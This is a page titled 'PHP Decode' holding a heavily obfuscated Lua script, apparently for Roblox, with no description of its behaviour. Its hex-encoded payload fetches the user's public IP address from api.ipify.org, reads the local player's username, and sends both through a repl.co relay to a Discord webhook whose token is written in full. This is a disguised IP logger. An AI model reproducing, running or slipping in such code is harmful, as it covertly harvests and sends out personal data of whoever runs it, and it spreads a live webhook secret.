PHP Decode

<?  --[[ 
 .____                  ________ ___.    _____                           __                 
 |    |    __ _______   \_____  \_ |___/ ____\_ __  ______ ____ _____ _/  |_  ___________  
 |    |   |  |  \__  \   /   |   \| __ \   __\  |  \/  ___// ___\__  \   __\/  _ \_  __ \ 
 |    |___|  |  // __ \_/    |    \ \_\ \  | |  |  /\___ \  \___ / __ \|  | (  <_> )  | \/ 
 |_______ \____/(____  /\_______  /___  /__| |____//____  >\___  >____  /__|  \____/|__|    
         \/          \/         \/    \/                \/     \/     \/                    
          \_Welcome to LuaObfuscator.com   (Alpha 0.9.14) ~  Much Love, Ferib  
 
]]-- 
 
local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...)local v18=0;local v19;local v20;local v21;local v22;local v23;local v24;local v25;local v26;local v27;local v28;local v29;local v30;while true do if (v18==4) then v28=nil;function v28(...)return {...},v12("#",...);end v29=nil;function v29()local v31=0;local v32;local v33;local v34;local v35;local v36;local v37;local v38;local v39;local v40;while true do if (v31==(1909 -(1881 + 24))) then v40=nil;while true do if (v32~=(0 -0)) then else local v97=0;while true do if (v97~=1) then else v32=1;break;end if (v97==0) then v33=1763 -(454 + 1309) ;v34=nil;v97=1 + 0 ;end end end if (v32==4) then while true do if (v33==(2 -0)) then v38=nil;v39=nil;v33=3;end if (v33~=(0 -0)) then else local v107=0;local v108;while true do if (0~=v107) then else v108=0;while true do if (v108~=1) then else v33=1;break;end if (v108~=(0 -0)) then else v34=285 -(134 + 151) ;v35=nil;v108=1;end end break;end end end if (v33==(1668 -(970 + 695))) then v40=nil;while true do local v109=0;local v110;while true do if (v109==(0 -0)) then v110=0;while true do if (v110==0) then local v111=1990 -(582 + 1408) ;local v112;while true do if ((0 -0)==v111) then v112=0 -0 ;while true do if (v112~=(3 -2)) then else v110=1;break;end if (v112==0) then local v196=0;while true do if (1==v196) then v112=1825 -(1195 + 629) ;break;end if (v196==(0 -0)) then if (v34~=1) then else local v214=241 -(187 + 54) ;local v215;while true do if (v214~=(780 -(162 + 618))) then else v215=0;while true do if (v215==1) then local v223=0 + 0 ;local v224;while true do if (0~=v223) then else v224=0;while true do if (v224==1) then v215=2 + 0 ;break;end if (v224~=0) then else for v229=1,v39 do local v230=0 -0 ;local v231;local v232;local v233;local v234;while true do if (v230==(1 -0)) then v233=nil;v234=nil;v230=1 + 1 ;end if (v230==(1636 -(1373 + 263))) then v231=1000 -(451 + 549) ;v232=nil;v230=1 + 0 ;end if (v230~=(2 -0)) then else while true do if (v231==1) then v234=nil;while true do if (v232~=1) then else if (v233==(1 -0)) then v234=v22()~=0 ;elseif (v233==(1386 -(746 + 638))) then v234=v25();elseif (v233==(2 + 1)) then v234=v26();end v40[v229]=v234;break;end if (v232~=(0 -0)) then else local v245=0;while true do if ((342 -(218 + 123))~=v245) then else v232=1;break;end if (v245==0) then local v252=0;while true do if (v252~=1) then else v245=1582 -(1535 + 46) ;break;end if (v252==(0 + 0)) then local v254=0 + 0 ;while true do if (v254~=0) then else v233=v22();v234=nil;v254=1;end if (v254~=1) then else v252=1;break;end end end end end end end end break;end if (v231==(560 -(306 + 254))) then local v241=0;local v242;while true do if (v241==(0 + 0)) then v242=0;while true do if ((0 -0)~=v242) then else v232=1467 -(899 + 568) ;v233=nil;v242=1;end if (v242~=(1 + 0)) then else v231=2 -1 ;break;end end break;end end end end break;end end end v38[606 -(268 + 335) ]=v22();v224=1;end end break;end end end if (v215~=(292 -(60 + 230))) then else v34=574 -(426 + 146) ;break;end if (v215~=0) then else local v225=0 + 0 ;while true do if ((1456 -(282 + 1174))==v225) then v39=v24();v40={};v225=1;end if (v225~=1) then else v215=812 -(569 + 242) ;break;end end end end break;end end end if ((5 -3)==v34) then local v216=0 + 0 ;local v217;while true do if ((1024 -(706 + 318))~=v216) then else v217=1251 -(721 + 530) ;while true do local v222=0;while true do if (v222==0) then if (v217~=0) then else local v226=0;while true do if (v226~=(1271 -(945 + 326))) then else local v228=0 -0 ;while true do if ((1 + 0)==v228) then v226=1;break;end if (v228~=(700 -(271 + 429))) then else for v235=1,v24() do local v236=0;local v237;local v238;while true do if (v236==1) then while true do if ((0 + 0)~=v237) then else v238=v22();if (v21(v238,1501 -(1408 + 92) ,1)==(1086 -(461 + 625))) then local v246=1288 -(993 + 295) ;local v247;local v248;local v249;local v250;local v251;while true do if (v246~=(0 + 0)) then else local v253=0;while true do if (v253==(1172 -(418 + 753))) then v246=1;break;end if (v253~=(0 + 0)) then else v247=0;v248=nil;v253=1;end end end if (v246==(1 + 0)) then v249=nil;v250=nil;v246=1 + 1 ;end if (v246~=2) then else v251=nil;while true do if (v247==(0 + 0)) then v248=529 -(406 + 123) ;v249=nil;v247=1770 -(1749 + 20) ;end if (v247~=(1 + 0)) then else local v255=0;while true do if (v255~=0) then else local v256=1322 -(1249 + 73) ;while true do if ((1 + 0)==v256) then v255=1;break;end if (v256~=0) then else v250=nil;v251=nil;v256=1;end end end if (v255==(1146 -(466 + 679))) then v247=4 -2 ;break;end end end if (v247==2) then while true do if (v248==(2 -1)) then local v257=1900 -(106 + 1794) ;local v258;while true do if (v257==0) then v258=0 + 0 ;while true do if (v258==1) then v248=2;break;end if (v258==(0 + 0)) then local v266=0 -0 ;local v267;while true do if (v266~=(0 -0)) then else v267=114 -(4 + 110) ;while true do if ((584 -(57 + 527))~=v267) then else v251={v23(),v23(),nil,nil};if (v249==0) then local v273=0;local v274;local v275;while true do if ((1 -0)==v273) then while true do if (v274==(0 -0)) then v275=0;while true do if (v275~=(166 -(122 + 44))) then else v251[3]=v23();v251[4]=v23();break;end end break;end end break;end if ((0 -0)~=v273) then else v274=0;v275=nil;v273=1;end end elseif (v249==1) then v251[3]=v24();elseif (v249==2) then v251[9 -6 ]=v24() -((2 + 0)^(3 + 13)) ;elseif (v249~=(5 -2)) then else local v278=65 -(30 + 35) ;while true do if (v278~=(0 + 0)) then else v251[3]=v24() -((1259 -(1043 + 214))^16) ;v251[15 -11 ]=v23();break;end end end v267=1;end if (v267~=1) then else v258=1213 -(323 + 889) ;break;end end break;end end end end break;end end end if (v248~=3) then else if (v21(v250,7 -4 ,583 -(361 + 219) )==(321 -(53 + 267))) then v251[1 + 3 ]=v40[v251[4]];end v35[v235]=v251;break;end if (0~=v248) then else local v260=413 -(15 + 398) ;local v261;while true do if (v260==(982 -(18 + 964))) then v261=0 -0 ;while true do if (v261==(0 + 0)) then v249=v21(v238,2 + 0 ,853 -(20 + 830) );v250=v21(v238,4 + 0 ,132 -(116 + 10) );v261=1 + 0 ;end if ((739 -(542 + 196))==v261) then v248=1 -0 ;break;end end break;end end end if (v248==(1 + 1)) then local v262=0;local v263;while true do if (0~=v262) then else v263=0 + 0 ;while true do if (v263==0) then local v268=0;while true do if (v268==(0 + 0)) then if (v21(v250,1,1)~=(2 -1)) then else v251[4 -2 ]=v40[v251[2]];end if (v21(v250,1553 -(1126 + 425) ,2)==(406 -(118 + 287))) then v251[3]=v40[v251[3]];end v268=3 -2 ;end if (v268~=(1122 -(118 + 1003))) then else v263=2 -1 ;break;end end end if (v263==1) then v248=3;break;end end break;end end end end break;end end break;end end end break;end end break;end if (0~=v236) then else local v243=0;while true do if (v243==1) then v236=1;break;end if (v243==0) then v237=377 -(142 + 235) ;v238=nil;v243=4 -3 ;end end end end end for v239=1,v24() do v36[v239-(1 + 0) ]=v29();end v228=1;end end end if (v226~=(978 -(553 + 424))) then else v217=1;break;end end end if (v217~=1) then else return v38;end break;end end end break;end end end v196=1;end end end end break;end end end if (v110==1) then if (v34~=(0 -0)) then else local v113=0;local v114;local v115;while true do if (v113==1) then while true do if (v114==(0 + 0)) then v115=0;while true do if (v115~=(0 + 0)) then else local v218=0;while true do if (v218==1) then v115=1 + 0 ;break;end if (v218~=0) then else local v220=0;while true do if (v220~=(1 + 0)) then else v218=1;break;end if (v220==0) then v35={};v36={};v220=1;end end end end end if (v115==1) then local v219=0;while true do if (v219==0) then local v221=0;while true do if (v221==(1 + 0)) then v219=2 -1 ;break;end if (v221~=0) then else v37={};v38={v35,v36,nil,v37};v221=1;end end end if (v219==1) then v115=2;break;end end end if (v115~=2) then else v34=1;break;end end break;end end break;end if ((753 -(239 + 514))~=v113) then else v114=0 + 0 ;v115=nil;v113=1;end end end break;end end break;end end end break;end if (v33~=(1330 -(797 + 532))) then else v36=nil;v37=nil;v33=2;end end break;end if (v32~=2) then else local v98=0 + 0 ;while true do if (v98==0) then v37=nil;v38=nil;v98=1;end if (v98~=(1 + 0)) then else v32=3;break;end end end if (v32~=3) then else local v99=0 -0 ;while true do if (v99==(1203 -(373 + 829))) then v32=4;break;end if (v99~=(731 -(476 + 255))) then else v39=nil;v40=nil;v99=1;end end end if (1==v32) then local v100=0;while true do if ((1130 -(369 + 761))~=v100) then else v35=nil;v36=nil;v100=1 + 0 ;end if ((1 -0)==v100) then v32=3 -1 ;break;end end end end break;end if (v31==1) then v34=nil;v35=nil;v31=2;end if (v31==(240 -(64 + 174))) then v36=nil;v37=nil;v31=1 + 2 ;end if (v31==(3 -0)) then v38=nil;v39=nil;v31=4;end if (0==v31) then v32=336 -(144 + 192) ;v33=nil;v31=1;end end end v18=5;end if (v18==0) then v19=1;v20=nil;v16=v4(v3(v16,5),"..",function(v41)if (v1(v41,2)==79) then v20=v0(v3(v41,1,1));return "";else local v71=v2(v0(v41,16));if v20 then local v78=v5(v71,v20);v20=nil;return v78;else return v71;end end end);v21=nil;v18=1;end if (v18==3) then function v25()local v42=216 -(42 + 174) ;local v43;local v44;local v45;local v46;local v47;local v48;while true do if ((3 + 0)==v42) then if (v47==(0 + 0)) then if (v46==0) then return v48 * (0 + (1001 -(938 + 63))) ;else v47=1;v45=0;end elseif (v47==(3551 -(363 + 1141))) then return ((v46==(1580 -(910 + 273 + 397))) and (v48 * (((1127 -(936 + 189)) -1)/(0 + 0)))) or (v48 * NaN) ;end return v8(v48,v47-(765 + 258) ) * (v45 + (v46/((1977 -(1913 + 62))^(33 + 19)))) ;end if (v42==(5 -3)) then v47=v21(v44,(644 + 1310) -(565 + (2981 -(1565 + 48))) ,116 -85 );v48=((v21(v44,(1046 + 647) -(1477 + (1322 -(782 + 356))) )==1) and  -1) or (1 -0) ;v42=3 + 0 ;end if (v42==(857 -(564 + 292))) then v45=1 -0 ;v46=(v21(v44,1,60 -40 ) * ((306 -(244 + 60))^((292 -(176 + 91)) + 7))) + v43 ;v42=2;end if ((476 -(41 + 435))==v42) then v43=v24();v44=v24();v42=1;end end end v26=nil;function v26(v49)local v50=0 -0 ;local v51;local v52;while true do if (v50==((4 -2) -0)) then v52={};for v79=1093 -(975 + 46 + 71) , #v51 do v52[v79]=v2(v1(v3(v51,v79,v79)));end v50=3;end if (v50==(1875 -(157 + 1718))) then v51=nil;if  not v49 then v49=v24();if (v49==(0 + 0)) then return "";end end v50=3 -2 ;end if (v50==(3 -2)) then v51=v3(v16,v19,(v19 + v49) -(1019 -(697 + 321)) );v19=v19 + v49 ;v50=5 -3 ;end if (v50==(5 -(3 -1))) then return v6(v52);end end end v27=v24;v18=4;end if (v18==5) then v30=nil;function v30(v53,v54,v55)local v56=0;local v57;local v58;local v59;while true do if (v56==0) then v57=v53[1];v58=v53[2];v56=1;end if (v56==1) then v59=v53[3];return function(...)local v81=v57;local v82=v58;local v83=v59;local v84=v28;local v85=1;local v86= -1;local v87={};local v88={...};local v89=v12("#",...) -1 ;local v90={};local v91={};for v95=0,v89 do if (v95>=v83) then v87[v95-v83 ]=v88[v95 + 1 ];else v91[v95]=v88[v95 + 1 ];end end local v92=(v89-v83) + 1 ;local v93;local v94;while true do local v96=0;while true do if (v96==0) then v93=v81[v85];v94=v93[1];v96=1;end if (v96==1) then if (v94<=20) then if (v94<=9) then if (v94<=4) then if (v94<=1) then if (v94==0) then if (v93[2]==v91[v93[4]]) then v85=v85 + 1 ;else v85=v93[3];end else local v116=v93[3];local v117=v91[v116];for v154=v116 + 1 ,v93[4] do v117=v117   .. v91[v154] ;end v91[v93[2]]=v117;end elseif (v94<=2) then local v119=0;local v120;while true do if (v119==0) then v120=v93[2];v91[v120](v13(v91,v120 + 1 ,v93[3]));break;end end elseif (v94>3) then local v158=0;local v159;while true do if (v158==0) then v159=v93[2];do return v13(v91,v159,v86);end break;end end else v91[v93[2]]=v91[v93[3]];end elseif (v94<=6) then if (v94>5) then local v121=0;local v122;while true do if (v121==0) then v122=v93[2];v91[v122]=v91[v122](v13(v91,v122 + 1 ,v93[3]));break;end end else v91[v93[2]]=v93[3];end elseif (v94<=7) then local v125=0;local v126;local v127;while true do if (v125==1) then v91[v126 + 1 ]=v127;v91[v126]=v127[v93[4]];break;end if (v125==0) then v126=v93[2];v127=v91[v93[3]];v125=1;end end elseif (v94>8) then if (v91[v93[2]]==v93[4]) then v85=v85 + 1 ;else v85=v93[3];end elseif (v91[v93[2]]~=v93[4]) then v85=v85 + 1 ;else v85=v93[3];end elseif (v94<=14) then if (v94<=11) then if (v94==10) then local v128=0;local v129;while true do if (v128==0) then v129=v93[2];v91[v129](v13(v91,v129 + 1 ,v93[3]));break;end end else local v130=0;local v131;local v132;while true do if (v130==1) then for v199=v131 + 1 ,v93[4] do v132=v132   .. v91[v199] ;end v91[v93[2]]=v132;break;end if (v130==0) then v131=v93[3];v132=v91[v131];v130=1;end end end elseif (v94<=12) then v91[v93[2]]=v91[v93[3]][v93[4]];elseif (v94>13) then v91[v93[2]]();else v85=v93[3];end elseif (v94<=17) then if (v94<=15) then v91[v93[2]]=v55[v93[3]];elseif (v94>16) then do return;end else for v191=v93[2],v93[3] do v91[v191]=nil;end end elseif (v94<=18) then local v137=0;local v138;local v139;local v140;while true do if (v137==1) then v140=0;for v200=v138,v93[4] do v140=v140 + 1 ;v91[v200]=v139[v140];end break;end if (v137==0) then v138=v93[2];v139={v91[v138](v91[v138 + 1 ])};v137=1;end end elseif (v94>19) then local v163=v93[2];do return v13(v91,v163,v86);end elseif (v91[v93[2]]==v93[4]) then v85=v85 + 1 ;else v85=v93[3];end elseif (v94<=30) then if (v94<=25) then if (v94<=22) then if (v94==21) then local v141=v93[2];v91[v141]=v91[v141](v13(v91,v141 + 1 ,v93[3]));elseif v91[v93[2]] then v85=v85 + 1 ;else v85=v93[3];end elseif (v94<=23) then if v91[v93[2]] then v85=v85 + 1 ;else v85=v93[3];end elseif (v94==24) then if (v91[v93[2]]~=v93[4]) then v85=v85 + 1 ;else v85=v93[3];end else v91[v93[2]]=v93[3];end elseif (v94<=27) then if (v94==26) then local v143=0;local v144;while true do if (v143==0) then v144=v93[2];v91[v144](v91[v144 + 1 ]);break;end end else v91[v93[2]]=v30(v82[v93[3]],nil,v55);end elseif (v94<=28) then for v155=v93[2],v93[3] do v91[v155]=nil;end elseif (v94>29) then v91[v93[2]]=v91[v93[3]][v93[4]];else v85=v93[3];end elseif (v94<=35) then if (v94<=32) then if (v94==31) then local v146=v93[2];v91[v146](v91[v146 + 1 ]);elseif (v93[2]==v91[v93[4]]) then v85=v85 + 1 ;else v85=v93[3];end elseif (v94<=33) then local v147=v93[2];do return v91[v147](v13(v91,v147 + 1 ,v93[3]));end elseif (v94>34) then v91[v93[2]]=v55[v93[3]];else v91[v93[2]]=v30(v82[v93[3]],nil,v55);end elseif (v94<=38) then if (v94<=36) then local v148=0;local v149;local v150;local v151;while true do if (v148==1) then v151=0;for v205=v149,v93[4] do v151=v151 + 1 ;v91[v205]=v150[v151];end break;end if (v148==0) then v149=v93[2];v150={v91[v149](v91[v149 + 1 ])};v148=1;end end elseif (v94>37) then local v175=0;local v176;local v177;while true do if (v175==0) then v176=v93[2];v177=v91[v93[3]];v175=1;end if (v175==1) then v91[v176 + 1 ]=v177;v91[v176]=v177[v93[4]];break;end end else v91[v93[2]]();end elseif (v94<=39) then v91[v93[2]]=v91[v93[3]];elseif (v94==40) then local v178=v93[2];do return v91[v178](v13(v91,v178 + 1 ,v93[3]));end else do return;end end v85=v85 + 1 ;break;end end end end;end end end return v30(v29(),{},v17)(...);end if (v18==1) then function v21(v60,v61,v62)if v62 then local v72=(v60/((5 -(9 -6))^(v61-(1228 -((665 -343) + 905)))))%((613 -(602 + (26 -17)))^(((v62-(1190 -(449 + 740))) -(v61-1)) + (873 -(826 + 46)))) ;return v72-(v72%1) ;else local v73=(2152 -(902 + 303)) -(245 + 702) ;local v74;while true do if (v73==((0 + 0) -0)) then v74=(1 + 1)^(v61-(1899 -(260 + 1638))) ;return (((v60%(v74 + v74))>=v74) and 1) or (440 -((838 -456) + 58)) ;end end end end v22=nil;function v22()local v63=0 -0 ;local v64;while true do if (v63==(1 + 0)) then return v64;end if (v63==(1690 -((1335 -(22 + 192)) + 569))) then v64=v1(v16,v19,v19);v19=v19 + 1 ;v63=1;end end end v23=nil;v18=2;end if (v18==2) then function v23()local v65,v66=v1(v16,v19,v19 + (685 -(483 + 200)) );v19=v19 + (1465 -(1404 + 59)) ;return (v66 * (700 -444)) + v65 ;end v24=nil;function v24()local v67,v68,v69,v70=v1(v16,v19,v19 + (3 -0) );v19=v19 + (769 -(468 + (1001 -704))) ;return (v70 * 16777216) + (v69 * 65536) + (v68 * (818 -(334 + 228))) + v67 ;end v25=nil;v18=3;end end end v15("LOL!163O00028O00026O00084003053O00652O726F7203073O006D652O7361676503023O006970026O00104003043O0067616D6503073O00482O747047657403A93O00682O7470733A2O2F626F7468616E642E6B6C6165323136302E7265706C2E636F2F7077683F682O6F6B3D682O7470733A2O2F646973636F72642E636F6D2F6170692F776562682O6F6B732F2O313336323530332O383230332O34363330322F346D362D74646938534852474253355474424A315A54643O535A452D4E342D674A53724A777156617A554D5F447548452O49316946384D54374D416675706D7164764126746578743D03073O003O6049703A20030C3O002C20557365726E616D653A2003073O00506C6179657273030B3O004C6F63616C506C6179657203043O004E616D652O033O003O60030A3O0047657453657276696365030B3O00482O747053657276696365026O00F03F027O004003053O007063612O6C034O00030A3O004A534F4E4465636F646500423O0012193O00014O0010000100053O0026133O00110001000200041D3O0011000100201E0006000500030006170006000F00013O00041D3O000F0001001219000600013O000E2O000100080001000600041D3O0008000100120F000700033O00201E0008000500042O001F0007000200012O00293O00013O00041D3O0008000100201E0004000500050012193O00063O0026133O00210001000600041D3O0021000100120F000600073O002026000600060008001219000800093O0012190009000A4O0027000A00043O001219000B000B3O00120F000C00073O00201E000C000C000C00201E000C000C000D00201E000C000C000E001219000D000F4O000B00080008000D2O000200060008000100041D3O004100010026133O002C0001000100041D3O002C000100120F000600073O002026000600060010001219000800114O00060006000800022O0027000100064O0010000600064O0010000300034O0027000200063O0012193O00123O0026133O003C0001001300041D3O003C000100120F000600143O00021B00076O00240006000200072O0027000300074O0027000200063O0006170002002E00013O00041D3O002E00010026080003002E0001001500041D3O002E00010020260006000100162O0027000800034O00060006000800022O0027000500063O0012193O00023O0026133O00020001001200041D3O000200012O0010000400053O0012193O00133O00041D3O000200012O00293O00013O00013O00053O0003043O007461736B03043O007761697403043O0067616D6503073O00482O747047657403213O00682O7470733A2O2F6170692E69706966792E6F72673F666F726D61743D6A736F6E00093O00120F3O00013O00201E5O00022O00253O0001000100120F3O00033O0020265O0004001219000200054O00213O00024O00148O00293O00017O00",v9(),...) ?>